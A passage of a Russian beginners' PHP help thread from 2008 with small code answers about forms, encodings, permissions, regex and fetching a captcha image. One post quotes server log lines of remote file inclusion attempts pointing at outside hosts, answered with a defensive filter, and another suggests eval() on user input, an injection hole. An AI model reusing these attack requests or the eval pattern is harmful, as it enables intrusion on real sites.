[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Нет не помогло... исзменил числа на num1 и num2 а кнопку на GO!

    ЗЫ прочитай пост выше (ортедактировал)
     
  2. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Byrger
    PHP:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
        "http://www.w3.org/TR/html4/loose.dtd"> 

    <html> 

    <head> 
      <title></title> 
    </head> 

    <body> 
        <div> 
    <?php 
        
    if(isset($_POST['GO']))
              exit((int)
    $_POST['num2'] + (int)$_POST['num1'].'</div></body></html>'); ?>
            <form method="post"> 
                <p><input type="text" name="num1"/></p> 
                <p><input type="text" name="num2"/></p> 
                <p><input type="submit" name="GO" value="Запрос"/></p> 
            </form> 
        </div> 
    </body> 

    </html> 
     
    #5762 Doom123, 6 Oct 2008
    Last edited: 6 Oct 2008
  3. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    Кто нить, плз, подскажите как мне сделать так, чтоб код выполнялся поэтапно?
    Тоесть, например: Отправили запрос, получили ответ, вывели на экран...Потом дальше..
    ??
     
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    <?php
    send_zapr
    ();
    echo 
    'Запрос отправлен';
    flush();
    ob_flush(); // ну или наоборот
    ?>
     
  5. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Блин. ну неужели так сложно взять книжку и прочитать первые 10 страниц хотябы? Это же самые основы.
     
  6. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    nerezus, ты кому и о чем?
     
    1 person likes this.
  7. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    и ещё вопросик..
    Как сделать вместо + в переменной $summa знак который вводит пользователь в поле "Знак" и чтоб выражение работало...

    PHP:
    <html>

    <head>
      <title></title>
    </head>

    <body>
        <div>
            <form action="" method="post">
                <p><input type="text" name="Число1"/></p>
                <p><input type="text" name="Число2"/></p>
                <p><input type="text" name="Знак"/></p>
                <p><input type="submit" value="Запрос"/><p>
    <?php
              $summa
    ;
              
    $num3;
              
    $num3 $_POST['Знак'];
              
    $summa $_POST['Число1'] + $_POST['Число2'];
              print 
    $summa;
              print 
    "<br>";
              print 
    $num3;
                
    ?>


            </form>
        </div>
    </body>

    </html>

    ЗЫ rushter спс за WAMPserver
    И как ещё сделать чтоб на новой странице отображались эти результаты...А то они у меня под кропкой "Запрос"
     
    #5767 Byrger, 7 Oct 2008
    Last edited: 7 Oct 2008
  8. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    Вот так можно
    PHP:
    <?
    fucntion calc($znak$c1,  $c2)
    {
        switch(
    $znak)
        {
            case 
    "+":
                
    $result $c1 $c2;
            break;
            case 
    "-":
                
    $result $c1 $c2;
            break;
            case 
    "*":
                
    $result $c1 $c2;
            break;
            case 
    "/":
                
    $result $c1 $c2;
            break;
        }
        return 
    $result;
    }

    echo 
    calc($_POST['Знак'], $_POST['Число1']?, $_POST['Число2']);

    ?>
     
    #5768 -=Static=-, 7 Oct 2008
    Last edited: 7 Oct 2008
  9. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    PHP:
    eval("$summa = $_POST['Число1'] ".$_POST['Знак'].$_POST['Число2'];");
    Это в теории. на практике обязятельно сделай проверку на вводимое значение 'Знак'.
    Пример:
    PHP:
    $signs = array('+''-''/''*');
    if (
    in_array($_POST['знак'], $signs))
    {
        
    $sign $_POST['знак'];
    }
    eval(
    "$summa = $_POST['Число1'] " $sign $_POST['Число2'];");
    ЗЫ: используй латинские индексы - меньше проблем будет. (znak вместо Знак и т.д.)

    Никак, ведь у тебя сначала идёт безусловный вывод HTML а уже потом выполняется php-код. поменяй структуру файла.
     
    #5769 [х26]VОLАND, 7 Oct 2008
    Last edited: 7 Oct 2008
  10. go2be

    go2be Elder - Старейшина

    Joined:
    5 Oct 2008
    Messages:
    25
    Likes Received:
    11
    Reputations:
    0
    Нужен хелп.
    Решил написать скрипт, который будет принимать капчу с нужного мне сайта.
    Взял сайт [Х].
    Стоит защита, напрямую картинку не получить. Получил через сокет с отправкой реферала и т.д..
    Такая трабла принимаю данные, приходит картинка. Тупо принятые данные сохраняю в jpg файл. ACDSee читает картинку, другие программы не воспринимают, мне нужно получить полноценную картинку. Решил, что проблема в заголовках (header)
    Вопросы:
    - Как убрать заголовки
    - Как с данных напрямую вывести картинку в php скрипте (content-type: image/jpg) Не помогает.
    Может кто занимался подобным. Подскажите ваши решения. Спасибо
     
  11. ~NeiTRoN~

    ~NeiTRoN~ Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    64
    Likes Received:
    2
    Reputations:
    0
    Кодировка

    народ возникла проблема, помогите кто может!
    Суть проблемы вот в чем:
    Есть цмс joomla у ее базы стоит кодировка general1251. Есть компонент(самописный). Так вот когда я экспортирую данные из cvs файла в таблицу компонента, если у таблицы стоит general1251 заносятся тупо ? вместо русских букв.Как быть???
     
  12. temp_late

    temp_late Banned

    Joined:
    22 Aug 2006
    Messages:
    47
    Likes Received:
    7
    Reputations:
    2
    Поэксперементируй, попробой смнеить кодировку запросов: например: mysql_query('SET NAMES cp1251');
    Или конвертируй текст в нужную кодировку covert_cyr_string();
     
  13. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    go2be Если ты получаешь картинку сокетом, то проблема не в лишних заголовках, а как раз в их отсутствии. Посмотри внимательно сниффером, какой запрос посылает браузер за картинкой.

    А так, схема приблизительно такая:

    PHP:
    <?PHP 
    function post($url,$content='')
    {
    //некая функция для удобства запросов
    }
    post (<урл со страницейгде капча>);
    //получили нужные куки, и всю остальную шляпу
    file_put_contents('local.jpg',post(<сама капча>));
    echo 
    '<img src="local.jpg">';
    ?>
     
    _________________________
  14. temp_late

    temp_late Banned

    Joined:
    22 Aug 2006
    Messages:
    47
    Likes Received:
    7
    Reputations:
    2
    Нужна помощь, немогу понять как правильно нужно перемещать загруженные файлы в папки сайта. Проблемма заключаеться в том что файлы переноситься лишь в директори с правами 0777. Пробовал менять права через chmod(); но они не меняют, может функция устарела, на хостинге php5.
    Буду рад любой информации.
     
  15. go2be

    go2be Elder - Старейшина

    Joined:
    5 Oct 2008
    Messages:
    25
    Likes Received:
    11
    Reputations:
    0
    Gifts Делал я так. Не воспринимает картинку за картинку =\
    Тут видимо трабла в заголовках
    ------------------------------
    Все спасибо разобрался )
    Просто взял весь принятый объем в массив. Каждая строка - элемент массива.
    Проследил, что заголовки - первые 12 элементов.
    Просто начал выводить массив с 12 элемента )
    А в header поставил Content-type: image/jpeg
    ))))
     
    #5775 go2be, 25 Oct 2008
    Last edited: 25 Oct 2008
  16. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    go2be Что то страшное - обычно убивают заголовки, это если не массив а строка, ессесн
    PHP:
    $img=preg_replace("#^[\s\S]*?\r\n\r\n#i",'',$img);
    temp_late Почитай про разграничение прав в никсах. Апач запущен от пользователя nobody а папки, например, с правами user - естественно ты не сможешь с ними ничего сделать.
     
    _________________________
  17. spamoney

    spamoney Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    120
    Likes Received:
    7
    Reputations:
    1
    Всем Добрый День!
    Не могли бы Вы мне помочь составить регулярное выражение, я уже обращался с этим вопросом, но видимо не полностью всё объяснил, либо меня не так поняли:

    допустим есть текст:
    Code:
    $text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>СЛОВО1-СЛОВО3-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>"; //Текст абсолютно производный (любой), каждый раз разный
    также есть набор ключевых слов через запятую:
    Code:
    $keywords="СЛОВО1, СЛОВО3, СЛОВО8"; //Задаются в самом скрипте


    Необходимо, сделать так, что бы каждое ключевое слово в тексте заменялось допустим на одно единственное NEWSLOVO, только в том случае, если оно не заключено в тэги <a></a> и <strong></strong> , т.е исходный текст получится таким:

    Code:
    $text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>NEWSLOVO-NEWSLOVO-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>";
    P.S

    Еще один вопрос немного не по теме, очень часто у себя в логе на сайте, в ошибках вижу такое:

    Code:
    200.89.68.125 - - [20/Oct/2008:07:12:03 +0400] "GET //amember/rconfig.inc.php?config%5Broot_dir%5D=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 404 49891 "-" "libwww-perl/5.65"
    
    200.89.68.125 - - [21/Oct/2008:12:34:52 +0400] "GET //modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 403 465 "-" "libwww-perl/5.65"
    
    89.111.180.85 - - [21/Oct/2008:12:34:52 +0400] "GET //contacts/?_SERVER[DOCUMENT_ROOT]=http://www.sante.su/images/log.txt??? HTTP/1.0" 404 465 "-" "libwww-perl/5.65"
    Кто это или что это пытается сделать с моим сайтом?
    И как можно защитится от такого?
     
    #5777 spamoney, 26 Oct 2008
    Last edited: 26 Oct 2008
  18. OnArs

    OnArs Banned

    Joined:
    1 Aug 2008
    Messages:
    211
    Likes Received:
    13
    Reputations:
    1
    Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?

    Заранее благодарен!
     
  19. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    echo $_SERVER["HTTP_REFERER"];
    ---------------------------------------------------

    Хакеры хотят залить шелл через php-injection...(и возможно заливают)

    В php.ini: allow_url_fopen = On на allow_url_fopen = Off
    или
    В: .htaccess php_flag allow_url_fopen Off

    и в каждый скрипт(ну и 'неуязвимый' тоже) в начале вставь код:
    PHP:
    <?php
    foreach($_GET as $key=>$get_1)
    {
        
    $get_1 str_replace(NULL,'',urldecode($get_1));
        
    $_GET[$key] = $get_1;
        if((string)
    strpos($get_1,'http://')=='0' || (string)strpos($get_1,'php://')=='0' || (string)strpos($get_1,'/')=='0' || (string)strpos($get_1,'\\')=='0')
        {
            die(
    'haccking attempt');
        }
    }
    ?>
    Да... и еще: обновись на последнюю версию php_bb
     
    #5779 Chaak, 26 Oct 2008
    Last edited: 26 Oct 2008
    2 people like this.
  20. OnArs

    OnArs Banned

    Joined:
    1 Aug 2008
    Messages:
    211
    Likes Received:
    13
    Reputations:
    1
    ChaaK, как всегда :)
    Большое Спасибо!

    ---

    Возникла проблема с переадресацией:

    файл: per.php
    PHP:
    <?
    echo 
    "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>";
    ?>
    Параметр $_SERVER['HTTP_REFERER'] правильно возвращает адрес - реферер, но не тем не менее функция, переадресует на файл per.php, т.е. сам на себя.

    Пдскажите, пожалуйста, в чём проблема!? :confused:
     
Thread Status:
Not open for further replies.